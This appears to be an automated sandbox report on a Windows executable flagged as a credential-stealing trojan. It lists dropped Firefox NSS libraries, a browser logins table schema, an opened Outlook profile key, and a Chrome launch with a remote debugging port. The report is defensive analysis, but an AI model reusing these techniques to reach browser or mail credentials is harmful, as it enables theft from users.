Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7562C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7562C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DAC60	0_2_6C5DAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AAC30	0_2_6C6AAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696C00	0_2_6C696C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CECC0	0_2_6C5CECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62ECD0	0_2_6C62ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69ED70	0_2_6C69ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FAD50	0_2_6C6FAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758D20	0_2_6C758D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75CDC0	0_2_6C75CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4DB0	0_2_6C5D4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666D90	0_2_6C666D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66EE70	0_2_6C66EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0E20	0_2_6C6B0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DAEC0	0_2_6C5DAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670EC0	0_2_6C670EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656E90	0_2_6C656E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692F70	0_2_6C692F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63EF40	0_2_6C63EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6F10	0_2_6C5D6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710F20	0_2_6C710F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AEFF0	0_2_6C6AEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0FE0	0_2_6C5D0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718FB0	0_2_6C718FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DEFB0	0_2_6C5DEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4840	0_2_6C6A4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620820	0_2_6C620820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A820	0_2_6C65A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D68E0	0_2_6C6D68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608960	0_2_6C608960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626900	0_2_6C626900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC9E0	0_2_6C6EC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6049F0	0_2_6C6049F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6609A0	0_2_6C6609A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A9A0	0_2_6C68A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6909B0	0_2_6C6909B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64CA70	0_2_6C64CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688A30	0_2_6C688A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EA00	0_2_6C67EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EA80	0_2_6C64EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D6BE0	0_2_6C6D6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670BA0	0_2_6C670BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8460	0_2_6C5E8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634420	0_2_6C634420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A430	0_2_6C65A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6164D0	0_2_6C6164D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A4D0	0_2_6C66A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FA480	0_2_6C6FA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632560	0_2_6C632560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670570	0_2_6C670570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718550	0_2_6C718550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C628540	0_2_6C628540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D4540	0_2_6C6D4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A5E0	0_2_6C69A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E5F0	0_2_6C65E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C45B0	0_2_6C5C45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C650	0_2_6C62C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E6E0	0_2_6C62E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E6E0	0_2_6C66E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F46D0	0_2_6C5F46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650700	0_2_6C650700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA7D0	0_2_6C5FA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E070	0_2_6C61E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69C000	0_2_6C69C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698010	0_2_6C698010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8090	0_2_6C5C8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC0B0	0_2_6C6AC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E00B0	0_2_6C5E00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638140	0_2_6C638140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646130	0_2_6C646130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4130	0_2_6C6B4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D01E0	0_2_6C5D01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658260	0_2_6C658260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668250	0_2_6C668250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8220	0_2_6C6A8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A210	0_2_6C69A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7562C0	0_2_6C7562C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A22A0	0_2_6C6A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2B0	0_2_6C69E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C712370	0_2_6C712370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC360	0_2_6C6EC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666370	0_2_6C666370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8340	0_2_6C5D8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D2370	0_2_6C5D2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642320	0_2_6C642320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6243E0	0_2_6C6243E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6023A0	0_2_6C6023A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E3B0	0_2_6C62E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3C40	0_2_6C5D3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9C40	0_2_6C6F9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1C30	0_2_6C5E1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C691CE0	0_2_6C691CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70DCD0	0_2_6C70DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FC80	0_2_6C66FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C633D00	0_2_6C633D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1DC0	0_2_6C6A1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C3D80	0_2_6C5C3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C719D90	0_2_6C719D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72BE70	0_2_6C72BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C755E60	0_2_6C755E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDE10	0_2_6C6DDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F3EC0	0_2_6C5F3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605F20	0_2_6C605F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727F20	0_2_6C727F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5F30	0_2_6C5C5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67BFF0	0_2_6C67BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDFC0	0_2_6C6EDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C753FC0	0_2_6C753FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1F90	0_2_6C5F1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A3840	0_2_6C6A3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D810	0_2_6C62D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6038E0	0_2_6C6038E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72B8F0	0_2_6C72B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AF8F0	0_2_6C6AF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66F8C0	0_2_6C66F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD8E0	0_2_6C5DD8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64F960	0_2_6C64F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D960	0_2_6C68D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685920	0_2_6C685920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71F900	0_2_6C71F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6359F0	0_2_6C6359F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6679F0	0_2_6C6679F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6699C0	0_2_6C6699C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6099D0	0_2_6C6099D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1980	0_2_6C5E1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1990	0_2_6C6A1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C759A50	0_2_6C759A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CDA30	0_2_6C6CDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FA10	0_2_6C60FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671A10	0_2_6C671A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1AE0	0_2_6C5D1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ADAB0	0_2_6C6ADAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AFB60	0_2_6C6AFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BB20	0_2_6C61BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617BF0	0_2_6C617BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629BA0	0_2_6C629BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699BB0	0_2_6C699BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1B80	0_2_6C5C1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B5B90	0_2_6C6B5B90

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C75DAE0 appears 69 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5F3620 appears 93 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5F9B10 appears 97 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7509D0 appears 301 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C75D930 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C62C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C709F30 appears 51 times

Source: file.exe, 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2102653708.000000006F902000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xugdxrgk ZLIB complexity 0.9951466213443748

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/6

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C630300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C630300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\3DQDN4N9.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1896412916.000000001D1D4000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2101799483.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2120,i,11807956331036332796,14599083191770811504,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2120,i,11807956331036332796,14599083191770811504,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2154496 > 1048576

Source: file.exe

Static PE information: Raw size of xugdxrgk is bigger than: 0x100000 < 0x1a2e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
